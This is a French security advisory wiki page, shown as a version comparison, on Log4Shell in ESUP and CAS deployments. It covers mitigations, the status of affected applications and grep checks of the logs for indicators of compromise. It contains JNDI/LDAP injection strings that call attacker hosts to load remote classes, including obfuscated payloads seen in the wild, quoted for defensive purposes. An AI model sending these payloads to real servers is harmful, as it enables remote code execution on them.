Sécurité
Pages enfant
  • ESUP-2021-AVI-001 - Log4shell

Comparaison des versions

Légende

  • Ces lignes ont été ajoutées. Ce mot a été ajouté.
  • Ces lignes ont été supprimées. Ce mot a été supprimé.
  • La mise en forme a été modifiée.
Commentaire: Modifications suite revue Damien

...

  • L'attaquant saisit en tant que username dans le formulaire d'authentification /login la chaine "${jndi:ldap://serveur-attaquant-ldap.com/ExploitLog4j2}" et un mot de passe quelconque
  • CAS log ce username dans cas_audit.log (authentification échouée)
    • la chaine "${jndi:ldap://serveur-attaquant-ldap.com/ExploitLog4j2}" est parsée par log4j
    • l'expression jndi est évaluée, une récupération de l'object ldap donné par ldap://serveur-attaquant-ldap.com/ExploitLog4j2Ref est effectuée
    • cet objet correspond à une référence sur http://serveur-attaquant-http.com/ExploitLog4j2.class
    • la classe http://serveur-attaquant-http.com/ExploitLog4j2.class est récupérée et exécutée

Solutions

  • technique "mettre mise à jour" : remplacer les jars de log4j-core par la version 2.15.0 (attention maven central fournit une version compilée pour Java ≥ 8)
  • technique "zip" : supprimer la classe du jar

    Bloc de code
    languagebash
    zip -q -d log4j-core*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class


  • technique "configurer" : si log4j-core ≥ 2.10, ajouter ceci à la ligne de commande java

    Bloc de code
    languagebash
    -Dlog4j2.formatMsgNoLookups=true


  • technique "firewall" : empêcher les requêtes TCP sortantes du serveur

...

  • ≤ 4.0 : pas affecté
  • ≤ 5.2 : technique "mettre mise à jour" ou "zip" ou "firewall"
  • ≥ 5.3 : technique "mettre mise à jour" ou "zip" ou "firewall" ou "configurer"
  • >= 6.3.7.2.ou >= 6.4.4 : versions des branches 6.3 et 6.4 (les seules maintenues ; les autres sont considérées comme obsolètes) corrigées

...

Applications potentiellement concernées

Nuxeo

  • 10.10 : technique "mettre mise à jour" ou "zip" ou "firewall" ou "configurer"

...

  • à priori globalement protégé par l'usage d'un security manager de java (annonce)
  • 6.5.3 debian 9 : technique "mettre mise à jour" ou "zip" ou "firewall" ou "configurer"
  • 7.9.1 : technique "mettre mise à jour" ou "zip" ou "firewall" ou "configurer"

...

  • technique "zip" ou "firewall" (la technique "configurer" ne marche pas !)

Solr

  • 8.5.1 : technique "mettre mise à jour" ou "zip" ou "firewall" ou "configurer"

...

Applications non concernées

applications java périmètre esup

  • esup-dematec (elle embarque des librairies log4j-2 qui ne sont pas utilisées : log4j (1) est utilisé : configuration par log4j.properties ; toutes versions)
  • esup-ecandidat v2 (logback ; toutes versions)
  • esup-mdw (MonDossierWeb v3 ; logback ; toutes versions)
  • esup-podesup-pstagepstage (log4j)
  • esup-signature (logback)
  • esup-smsusmsu (log4j)

  • esupUserApps / ProlongationENT (log4j)

  • esup-sgc (logback)
  • esup-nfc-tagtag (logback)
  • esup-papercutpapercut (logback)
  • esup-paypay (log4j)
  • esup-helpdeskhelpdesk (log4j)
  • esup-emargement
  • uportal et portlets associéesassociées  (log4j)
  • shibboleth idp (sauf docker ; logback)

applications non java

  • esup-pod, filex, esup-wayf, esup-otp-api, esup-otp-manager, ...

applications java non ESUP dans le périmètre ESR 

  • bbb 2.2
  • ametys odf
  • ade
  • ksup

  • , ametys odf, ade (log4j via apache commons-logging), ksup (log4j puis logback), ...

Librairies log Java

Pour déterminer si une application java est impactée il faut déterminer quelle librairie de log est utilisée.

...

Bloc de code
languagebash
grep -e '${\|' -e 'Reference Class\|' -e 'javax.el.ELProcessor' /opt/tomcat-cas/logs/cas.log 
2021-12-11 05:48:59,478 WARN [org.apereo.cas.web.flow.SpnegoNegotiateCredentialsAction] - <User Agent header [${jndi:${lower:l}${lower:d}a${lower:p}://toto.log4j2${upper:a}attaq.io:80/callback}] is not supported in the list of supported browsers [[Firefox]]>

...

Bloc de code
languagebash
grep -e '${\|' -e 'Reference Class\|' -e 'javax.el.ELProcessor' /opt/tomcat-cas/logs/cas_audit.log 
CLIENT IP ADDRESS: ${jndi:ldap://X-Forwarded-For.univ-ville.fr.id-de-test.solution-de-test.net/a.bc}
WHO: ${jndi:ldap://hack.me:1389//univ-ville.fr/X-Forwarded-For}
CLIENT IP ADDRESS: Reference Class Name: foo

...


Dans tous les cas une analyse plus poussée (flux) est à envisager. La prudence reste de mise. L'exécution d'un code arbitraire pouvant altérer l'ensemble du système, dont les journaux eux-mêmes.

Liens

Veuillez vérifier les journaux de connexion et faire suivre au COSSIM (cossim@education.gouv.fr) les différents IOCs en lien avec cette alerte.